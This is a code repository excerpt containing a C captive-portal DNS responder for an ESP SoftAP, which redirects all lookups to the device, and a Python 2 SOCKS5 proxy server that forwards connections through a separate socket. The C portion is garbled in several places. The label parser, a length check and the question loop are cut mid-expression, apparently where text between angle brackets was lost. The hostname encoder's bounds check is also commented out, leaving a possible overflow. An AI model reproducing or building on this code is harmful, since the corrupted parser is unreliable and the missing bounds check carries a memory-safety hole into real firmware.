28 | * the one of the SoftAP interface of this ESP module) for any and all DNS queries. This can
29 | * be used to send mobile phones, tablets etc which connect to the ESP in AP mode directly to
30 | * the internal webserver.
31 | */
32 |
33 | typedef struct __attribute__ ((packed)) {
34 | uint16_t id;
35 | uint8_t flags;
36 | uint8_t rcode;
37 | uint16_t qdcount;
38 | uint16_t ancount;
39 | uint16_t nscount;
40 | uint16_t arcount;
41 | } DnsHeader;
42 |
43 |
44 | typedef struct __attribute__ ((packed)) {
45 | uint8_t len;
46 | uint8_t data;
47 | } DnsLabel;
48 |
49 |
50 | typedef struct __attribute__ ((packed)) {
51 | //before: label
52 | uint16_t type;
53 | uint16_t class;
54 | } DnsQuestionFooter;
55 |
56 |
57 | typedef struct __attribute__ ((packed)) {
58 | //before: label
59 | uint16_t type;
60 | uint16_t class;
61 | uint32_t ttl;
62 | uint16_t rdlength;
63 | //after: rdata
64 | } DnsResourceFooter;
65 |
66 | typedef struct __attribute__ ((packed)) {
67 | uint16_t prio;
68 | uint16_t weight;
69 | } DnsUriHdr;
70 |
71 |
72 | #define FLAG_QR (1<<7)
73 | #define FLAG_AA (1<<2)
74 | #define FLAG_TC (1<<1)
75 | #define FLAG_RD (1<<0)
76 |
77 | #define QTYPE_A 1
78 | #define QTYPE_NS 2
79 | #define QTYPE_CNAME 5
80 | #define QTYPE_SOA 6
81 | #define QTYPE_WKS 11
82 | #define QTYPE_PTR 12
83 | #define QTYPE_HINFO 13
84 | #define QTYPE_MINFO 14
85 | #define QTYPE_MX 15
86 | #define QTYPE_TXT 16
87 | #define QTYPE_URI 256
88 |
89 | #define QCLASS_IN 1
90 | #define QCLASS_ANY 255
91 | #define QCLASS_URI 256
92 |
93 | #define DNS_LEN 512
94 | //Function to put unaligned 16-bit network values
95 | static void setn16(void *pp, int16_t n) {
96 | char *p=pp;
97 | *p++=(n>>8);
98 | *p++=(n&0xff);
99 | }
100 |
101 | //Function to put unaligned 32-bit network values
102 | static void setn32(void *pp, int32_t n) {
103 | char *p=pp;
104 | *p++=(n>>24)&0xff;
105 | *p++=(n>>16)&0xff;
106 | *p++=(n>>8)&0xff;
107 | *p++=(n&0xff);
108 | }
109 |
110 |
111 | static uint16_t local_ntohs(uint16_t *in) {
112 | char *p=(char*)in;
113 | return ((p[0]<<8)&0xff00)|(p[1]&0xff);
114 | }
115 |
116 |
117 | //Parses a label into a C-string containing a dotted
118 | //Returns pointer to start of next fields in packet
119 | static char* labelToStr(char *packet, char *labelPtr, int packetSz, char *res, int resMaxLen) {
120 | int i, j, k;
121 | char *endPtr=NULL;
122 | i=0;
123 | do {
124 | if ((*labelPtr&0xC0)==0) {
125 | j=*labelPtr++; //skip past length
126 | //Add separator period if there already is data in res
127 | if (ipacketSz) return NULL;
131 | if (ipacketSz) return NULL;
139 | labelPtr=&packet[offset];
140 | }
141 | //check for out-of-bound-ness
142 | if ((labelPtr-packet)>packetSz) return NULL;
143 | } while (*labelPtr!=0);
144 | res[i]=0; //zero-terminate
145 | if (endPtr==NULL) endPtr=labelPtr+1;
146 | return endPtr;
147 | }
148 |
149 |
150 | //Converts a dotted hostname to the weird label form dns uses.
151 | static char *strToLabel(char *str, char *label, int maxLen) {
152 | char *len=label; //ptr to len byte
153 | char *p=label+1; //ptr to next label byte to be written
154 | while (1) {
155 | if (*str=='.' || *str==0) {
156 | *len=((p-len)-1); //write len of label bit
157 | len=p; //pos of len for next part
158 | p++; //data ptr is one past len
159 | if (*str==0) break; //done
160 | str++;
161 | } else {
162 | *p++=*str++; //copy byte
163 | // if ((p-label)>maxLen) return NULL; //check out of bounds
164 | }
165 | }
166 | *len=0;
167 | return p; //ptr to first free byte in resp
168 | }
169 |
170 | #define DNS_SERVER_PORT 53
171 |
172 | int32_t sock_fd;
173 | //xQueueHandle QueueStop = NULL;
174 |
175 | //Receive a DNS packet and maybe send a response back
176 | static void captdnsRecv(struct sockaddr_in *premote_addr, char *pusrdata, unsigned short length) {
177 | int i;
178 | char *buff = (char*)malloc(DNS_LEN);
179 | char *reply = (char*)malloc(DNS_LEN);
180 | char *rend=reply+length;
181 | char *p=pusrdata;
182 | DnsHeader *hdr=(DnsHeader*)p;
183 | DnsHeader *rhdr=(DnsHeader*)reply;
184 | p+=sizeof(DnsHeader);
185 | printf("DNS packet: id 0x%X flags 0x%X rcode 0x%X qcnt %d ancnt %d nscount %d arcount %d len %d\n",
186 | local_ntohs(&hdr->id), hdr->flags, hdr->rcode, local_ntohs(&hdr->qdcount), local_ntohs(&hdr->ancount), local_ntohs(&hdr->nscount), local_ntohs(&hdr->arcount), length);
187 | //Some sanity checks:
188 | if (length>512) goto finish; //Packet is longer than DNS implementation allows,512
189 | if (lengthancount || hdr->nscount || hdr->arcount) goto finish; //this is a reply, don't know what to do with it
193 | if (hdr->flags&FLAG_TC) goto finish; //truncated, can't use this
194 | //Reply is basically the request plus the needed data
195 | memcpy(reply, pusrdata, length);
196 | rhdr->flags|=FLAG_QR;
197 | for (i=0; iqdcount); i++) {
198 | //Grab the labels in the q string
199 | p=labelToStr(pusrdata, p, length, buff, DNS_LEN);
200 | if (p==NULL) goto finish;
201 | DnsQuestionFooter *qf=(DnsQuestionFooter*)p;
202 | p+=sizeof(DnsQuestionFooter);
203 | printf("DNS: Q (type 0x%X class 0x%X) for %s\n", local_ntohs(&qf->type), local_ntohs(&qf->class), buff);
204 | if (local_ntohs(&qf->type)==QTYPE_A) {
205 | //They want to know the IPv4 address of something.
206 | //Build the response.
207 | rend=strToLabel(buff, rend, DNS_LEN-(rend-reply)); //Add the label
208 | if (rend==NULL) goto finish;
209 | DnsResourceFooter *rf=(DnsResourceFooter *)rend;
210 | rend+=sizeof(DnsResourceFooter);
211 | setn16(&rf->type, QTYPE_A);
212 | setn16(&rf->class, QCLASS_IN);
213 | setn32(&rf->ttl, 0);
214 | setn16(&rf->rdlength, 4); //IPv4 addr is 4 bytes;
215 | //Grab the current IP of the softap interface
216 | struct ip_info info;
217 | sdk_wifi_get_ip_info(SOFTAP_IF, &info);
218 | *rend++=ip4_addr1(&info.ip);
219 | *rend++=ip4_addr2(&info.ip);
220 | *rend++=ip4_addr3(&info.ip);
221 | *rend++=ip4_addr4(&info.ip);
222 | setn16(&rhdr->ancount, local_ntohs(&rhdr->ancount)+1);
223 | // printf("Added A rec to resp. Resp len is %d\n", (rend-reply));
224 | } else if (local_ntohs(&qf->type)==QTYPE_NS) {
225 | //Give ns server. Basically can be whatever we want because it'll get resolved to our IP later anyway.
226 | rend=strToLabel(buff, rend, DNS_LEN-(rend-reply)); //Add the label
227 | DnsResourceFooter *rf=(DnsResourceFooter *)rend;
228 | rend+=sizeof(DnsResourceFooter);
229 | setn16(&rf->type, QTYPE_NS);
230 | setn16(&rf->class, QCLASS_IN);
231 | setn16(&rf->ttl, 0);
232 | setn16(&rf->rdlength, 4);
233 | *rend++=2;
234 | *rend++='n';
235 | *rend++='s';
236 | *rend++=0;
237 | setn16(&rhdr->ancount, local_ntohs(&rhdr->ancount)+1);
238 | // printf("Added NS rec to resp. Resp len is %d\n", (rend-reply));
239 | } else if (local_ntohs(&qf->type)==QTYPE_URI) {
240 | //Give uri to us
241 | rend=strToLabel(buff, rend, DNS_LEN-(rend-reply)); //Add the label
242 | DnsResourceFooter *rf=(DnsResourceFooter *)rend;
243 | rend+=sizeof(DnsResourceFooter);
244 | DnsUriHdr *uh=(DnsUriHdr *)rend;
245 | rend+=sizeof(DnsUriHdr);
246 | setn16(&rf->type, QTYPE_URI);
247 | setn16(&rf->class, QCLASS_URI);
248 | setn16(&rf->ttl, 0);
249 | setn16(&rf->rdlength, 4+16);
250 | setn16(&uh->prio, 10);
251 | setn16(&uh->weight, 1);
252 | memcpy(rend, "http://esp.nonet", 16);
253 | rend+=16;
254 | setn16(&rhdr->ancount, local_ntohs(&rhdr->ancount)+1);
255 | // printf("Added NS rec to resp. Resp len is %d\n", (rend-reply));
256 | }
257 | }
258 | //Send the response
259 | sendto(sock_fd,(uint8_t*)reply, rend-reply, 0, (struct sockaddr *)premote_addr, sizeof(struct sockaddr_in));
260 |
261 | finish:
262 | if(buff){
263 | free(buff);
264 | buff = NULL;
265 | }
266 | if(reply){
267 | free(reply);
268 | reply = NULL;
269 | }
270 | }
271 |
272 | /******************************************************************************
273 | * FunctionName : user_devicefind_init
274 | * Description : the espconn struct parame init
275 | * Parameters : none
276 | * Returns : none
277 | *******************************************************************************/
278 | void
279 | captdns_task(void *pvParameters)
280 | {
281 | struct sockaddr_in server_addr;
282 | int32_t ret;
283 |
284 | struct sockaddr_in from;
285 | socklen_t fromlen;
286 | struct ip_info ipconfig;
287 |
288 | int nNetTimeout=10000;// 10 Sec
289 | char *udp_msg = (char*)malloc(DNS_LEN);
290 |
291 | memset(&ipconfig, 0, sizeof(ipconfig));
292 | memset(&server_addr, 0, sizeof(server_addr));
293 | server_addr.sin_family = AF_INET;
294 | server_addr.sin_addr.s_addr = INADDR_ANY;
295 | server_addr.sin_port = htons(DNS_SERVER_PORT);
296 | server_addr.sin_len = sizeof(server_addr);
297 |
298 | do{
299 | sock_fd = socket(AF_INET, SOCK_DGRAM, 0);
300 | if (sock_fd == -1) {
301 | printf("captdns_task failed to create sock!\n");
302 | // vTaskDelay(1000/portTICK_RATE_MS);
303 | }
304 | }while(sock_fd == -1);
305 |
306 | do{
307 | ret = bind(sock_fd, (struct sockaddr *)&server_addr, sizeof(server_addr));
308 | if (ret != 0) {
309 | printf("captdns_task failed to bind sock!\n");
310 | // vTaskDelay(1000/portTICK_RATE_MS);
311 | }
312 | }while(ret != 0);
313 |
314 | while(1){
315 |
316 | memset(udp_msg, 0, DNS_LEN);
317 | memset(&from, 0, sizeof(from));
318 |
319 | setsockopt(sock_fd,SOL_SOCKET,SO_RCVTIMEO,(char *)&nNetTimeout,sizeof(int));
320 | fromlen = sizeof(struct sockaddr_in);
321 | ret = recvfrom(sock_fd, (uint8_t *)udp_msg, DNS_LEN, 0,(struct sockaddr *)&from,(socklen_t *)&fromlen);
322 | if (ret > 0) {
323 | //printf("captdns recv %d Bytes from Port %d %s\n",ret,ntohs(from.sin_port),inet_ntoa(from.sin_addr));
324 | captdnsRecv(&from,udp_msg,ret);
325 | }
326 |
327 | // printf("captdns stack %d, heap %d\n",(int)uxTaskGetStackHighWaterMark(NULL),sdk_system_get_free_heap_size());
328 | }
329 |
330 | if(udp_msg){
331 | free(udp_msg);
332 | udp_msg = NULL;
333 | }
334 | close(sock_fd);
335 | vTaskDelete(NULL);
336 |
337 | }
338 |
339 | void captdnsInit(void)
340 | {
341 | printf("starting dns\n");
342 | xTaskCreate(captdns_task, (const char *)"captdns_task", 192, NULL, 3, NULL);//1024,866
343 | }
344 |
--------------------------------------------------------------------------------
/socks5.py:
--------------------------------------------------------------------------------
1 | # most part of this code comes from https://github.com/fengyouchao/pysocks/blob/master/socks5.py
2 | # under the apache licence
3 |
4 | import logging
5 | import struct
6 | from SocketServer import BaseServer, ThreadingTCPServer, StreamRequestHandler
7 | from socket import socket, AF_INET, SOCK_STREAM
8 | import thread
9 |
10 | def byte_to_int(b):
11 | """
12 | Convert Unsigned byte to int
13 | :param b: byte value
14 | :return: int value
15 | """
16 | return b & 0xFF
17 |
18 |
19 | def port_from_byte(b1, b2):
20 | """
21 |
22 | :param b1: First byte of port
23 | :param b2: Second byte of port
24 | :return: Port in Int
25 | """
26 | return byte_to_int(b1) << 8 | byte_to_int(b2)
27 |
28 |
29 | def host_from_ip(a, b, c, d):
30 | a = byte_to_int(a)
31 | b = byte_to_int(b)
32 | c = byte_to_int(c)
33 | d = byte_to_int(d)
34 | return "%d.%d.%d.%d" % (a, b, c, d)
35 |
36 |
37 | def get_command_name(value):
38 | """
39 | Gets command name by value
40 | :param value: value of Command
41 | :return: Command Name
42 | """
43 | if value == 1:
44 | return 'CONNECT'
45 | elif value == 2:
46 | return 'BIND'
47 | elif value == 3:
48 | return 'UDP_ASSOCIATE'
49 | else:
50 | return None
51 |
52 |
53 | def build_command_response(reply):
54 | start = b'\x05%s\x00\x01\x00\x00\x00\x00\x00\x00'
55 | return start % reply.get_byte_string()
56 |
57 |
58 | def close_session(session):
59 | session.get_client_socket().close()
60 | logging.info("Session[%s] closed" % session.get_id())
61 |
62 | class Session(object):
63 | index = 0
64 |
65 | def __init__(self, client_socket, proxy_socket):
66 | Session.index += 1
67 | self.__id = Session.index
68 | self.__client_socket = client_socket
69 | self.__proxy_socket = proxy_socket
70 | self._attr = {}
71 |
72 | def get_id(self):
73 | return self.__id
74 |
75 | def set_attr(self, key, value):
76 | self._attr[key] = value
77 |
78 | def get_client_socket(self):
79 | return self.__client_socket
80 |
81 | def get_proxy_socket(self):
82 | return self.__proxy_socket
83 |
84 | class AddressType(object):
85 | IPV4 = 1
86 | DOMAIN_NAME = 3
87 | IPV6 = 4
88 |
89 |
90 | class SocksCommand(object):
91 | CONNECT = 1
92 | BIND = 2
93 | UDP_ASSOCIATE = 3
94 |
95 |
96 | class SocksMethod(object):
97 | NO_AUTHENTICATION_REQUIRED = 0
98 | GSS_API = 1
99 | USERNAME_PASSWORD = 2
100 |
101 |
102 | class ServerReply(object):
103 | def __init__(self, value):
104 | self.__value = value
105 |
106 | def get_byte_string(self):
107 | if self.__value == 0:
108 | return b'\x00'
109 | elif self.__value == 1:
110 | return b'\x01'
111 | elif self.__value == 2:
112 | return b'\x02'
113 | elif self.__value == 3:
114 | return b'\x03'
115 | elif self.__value == 4:
116 | return b'\x04'
117 | elif self.__value == 5:
118 | return b'\x05'
119 | elif self.__value == 6:
120 | return b'\x06'
121 | elif self.__value == 7:
122 | return b'\x07'
123 | elif self.__value == 8:
124 | return b'\x08'
125 |
126 | def get_value(self):
127 | return self.__value
128 |
129 |
130 | class ReplyType(object):
131 | SUCCEEDED = ServerReply(0)
132 | GENERAL_SOCKS_SERVER_FAILURE = ServerReply(1)
133 | CONNECTION_NOT_ALLOWED_BY_RULESET = ServerReply(2)
134 | NETWORK_UNREACHABLE = ServerReply(3)
135 | HOST_UNREACHABLE = ServerReply(4)
136 | CONNECTION_REFUSED = ServerReply(5)
137 | TTL_EXPIRED = ServerReply(6)
138 | COMMAND_NOT_SUPPORTED = ServerReply(7)
139 | ADDRESS_TYPE_NOT_SUPPORTED = ServerReply(8)
140 |
141 |
142 | class SocketPipe(object):
143 | BUFFER_SIZE = 1024 * 1024
144 |
145 | def __init__(self, socket1, socket2):
146 | self._socket1 = socket1
147 | self._socket2 = socket2
148 | self.__running = False
149 |
150 | def __transfer(self, socket1, socket2):
151 | while self.__running:
152 | try:
153 | data = socket1.recv(self.BUFFER_SIZE)
154 | if len(data) > 0:
155 | socket2.sendall(data)
156 | else:
157 | break
158 | except IOError:
159 | self.stop()
160 | self.stop()
161 |
162 | def start(self):
163 | self.__running = True
164 | thread.start_new_thread(self.__transfer, (self._socket1, self._socket2))
165 | thread.start_new_thread(self.__transfer, (self._socket2, self._socket1))
166 |
167 | def stop(self):
168 | self._socket1.close()
169 | self._socket2.close()
170 | self.__running = False
171 |
172 | def is_running(self):
173 | return self.__running
174 |
175 |
176 | class CommandExecutor(object):
177 | def __init__(self, remote_server_host, remote_server_port, session):
178 | self.__remote_server_host = remote_server_host
179 | self.__remote_server_port = remote_server_port
180 | self.__client = session.get_client_socket()
181 | self.__session = session
182 |
183 | def do_connect(self):
184 | """
185 | Do SOCKS CONNECT method
186 | :return: None
187 | """
188 | self.__session.get_proxy_socket().send('%s:%s'%self.__get_address())
189 | #if result == 0:
190 | self.__client.send(build_command_response(ReplyType.SUCCEEDED))
191 | socket_pipe = SocketPipe(self.__client, self.__session.get_proxy_socket())
192 | socket_pipe.start()
193 | while socket_pipe.is_running():
194 | pass
195 | #elif result == 60:
196 | #self.__client.send(build_command_response(ReplyType.TTL_EXPIRED))
197 | #elif result == 61:
198 | #self.__client.send(build_command_response(ReplyType.NETWORK_UNREACHABLE))
199 | #else:
200 | #logging.error('Connection Error:[%s] is unknown' % result)
201 | #self.__client.send(build_command_response(ReplyType.NETWORK_UNREACHABLE))
202 |
203 | def do_bind(self):
204 | pass
205 |
206 | def do_udp_associate(self):
207 | pass
208 |
209 | def __get_address(self):
210 | return self.__remote_server_host, self.__remote_server_port
211 |
212 |
213 | class User(object):
214 | def __init__(self, username, password):
215 | self.__username = username
216 | self.__password = password
217 |
218 | def get_username(self):
219 | return self.__username
220 |
221 | def get_password(self):
222 | return self.__password
223 |
224 | def __repr__(self):
225 | return '' % (self.get_username(), self.__password)
226 |
227 |
228 | class UserManager(object):
229 | def __init__(self):
230 | self.__users = {}
231 |
232 | def add_user(self, user):
233 | self.__users[user.get_username()] = user
234 |
235 | def remove_user(self, username):
236 | if username in self.__users:
237 | del self.__users[username]
238 |
239 | def check(self, username, password):
240 | if username in self.__users and self.__users[username].get_password() == password:
241 | return True
242 | else:
243 | return False
244 |
245 | def get_user(self, username):
246 | return self.__users[username]
247 |
248 | def get_users(self):
249 | return self.__users
250 |
251 |
252 | class Socks5RequestHandler(StreamRequestHandler):
253 | def __init__(self, request, client_address, server):
254 | StreamRequestHandler.__init__(self, request, client_address, server)
255 |
256 | def handle(self):
257 | session = Session(self.connection, self.server.get_proxy_socket())
258 | logging.info('Create session[%s] for %s:%d' % (
259 | 1, self.client_address[0], self.client_address[1]))
260 | print self.server.allowed
261 | if self.server.allowed and self.client_address[0] not in self.server.allowed:
262 | close_session(session)
263 | return
264 | client = self.connection
265 | client.recv(1)
266 | method_num, = struct.unpack('b', client.recv(1))
267 | methods = struct.unpack('b' * method_num, client.recv(method_num))
268 | auth = self.server.is_auth()
269 | if methods.__contains__(SocksMethod.NO_AUTHENTICATION_REQUIRED) and not auth:
270 | client.send(b"\x05\x00")
271 | elif methods.__contains__(SocksMethod.USERNAME_PASSWORD) and auth:
272 | client.send(b"\x05\x02")
273 | if not self.__do_username_password_auth():
274 | logging.info('Session[%d] authentication failed' % session.get_id())
275 | close_session(session)
276 | return
277 | else:
278 | client.send(b"\x05\xFF")
279 | return
280 | version, command, reserved, address_type = struct.unpack('b' * 4, client.recv(4))
281 | host = None
282 | port = None
283 | if address_type == AddressType.IPV4:
284 | ip_a, ip_b, ip_c, ip_d, p1, p2 = struct.unpack('b' * 6, client.recv(6))
285 | host = host_from_ip(ip_a, ip_b, ip_c, ip_d)
286 | port = port_from_byte(p1, p2)
287 | elif address_type == AddressType.DOMAIN_NAME:
288 | host_length, = struct.unpack('b', client.recv(1))
289 | host = client.recv(host_length)
290 | p1, p2 = struct.unpack('b' * 2, client.recv(2))
291 | port = port_from_byte(p1, p2)
292 | else: # address type not support
293 | client.send(build_command_response(ReplyType.ADDRESS_TYPE_NOT_SUPPORTED))
294 |
295 | command_executor = CommandExecutor(host, port, session)
296 | if command == SocksCommand.CONNECT:
297 | logging.info("Session[%s] Request connect %s:%d" % (session.get_id(), host, port))
298 | command_executor.do_connect()
299 | close_session(session)
300 |
301 | def __do_username_password_auth(self):
302 | client = self.connection
303 | client.recv(1)
304 | length = byte_to_int(struct.unpack('b', client.recv(1))[0])
305 | username = client.recv(length)
306 | length = byte_to_int(struct.unpack('b', client.recv(1))[0])
307 | password = client.recv(length)
308 | user_manager = self.server.get_user_manager()
309 | if user_manager.check(username, password):
310 | client.send(b"\x01\x00")
311 | return True
312 | else:
313 | client.send(b"\x01\x01")
314 | return False
315 |
316 |
317 | class Socks5Server(ThreadingTCPServer):
318 | """
319 | SOCKS5 proxy server
320 | """
321 |
322 | def __init__(self, port, auth=False, user_manager=UserManager(), allowed=None):
323 | ThreadingTCPServer.__init__(self, ('', port), Socks5RequestHandler)
324 | self.__proxy_socket = None
325 | self.__port = port
326 | self.__users = {}
327 | self.__auth = auth
328 | self.__user_manager = user_manager
329 | self.__sessions = {}
330 | self.allowed = allowed
331 |
332 | def serve_forever(self, poll_interval=0.5):
333 | logging.info("Create SOCKS5 server at port %d" % self.__port)
334 | ThreadingTCPServer.serve_forever(self, poll_interval)
335 |
336 | def finish_request(self, request, client_address):
337 | BaseServer.finish_request(self, request, client_address)
338 |
339 | def is_auth(self):
340 | return self.__auth
341 |
342 | def set_auth(self, auth):
343 | self.__auth = auth
344 |
345 | def get_all_managed_session(self):
346 | return self.__sessions
347 |
348 | def get_bind_port(self):
349 | return self.__port
350 |
351 | def get_proxy_socket(self):
352 | return self.__proxy_socket
353 |
354 | def set_proxy_socket(self, proxy_socket):
355 | self.__proxy_socket = proxy_socket
356 |
357 | def get_user_manager(self):
358 | return self.__user_manager
359 |
360 | def set_user_manager(self, user_manager):
361 | self.__user_manager = user_manager
--------------------------------------------------------------------------------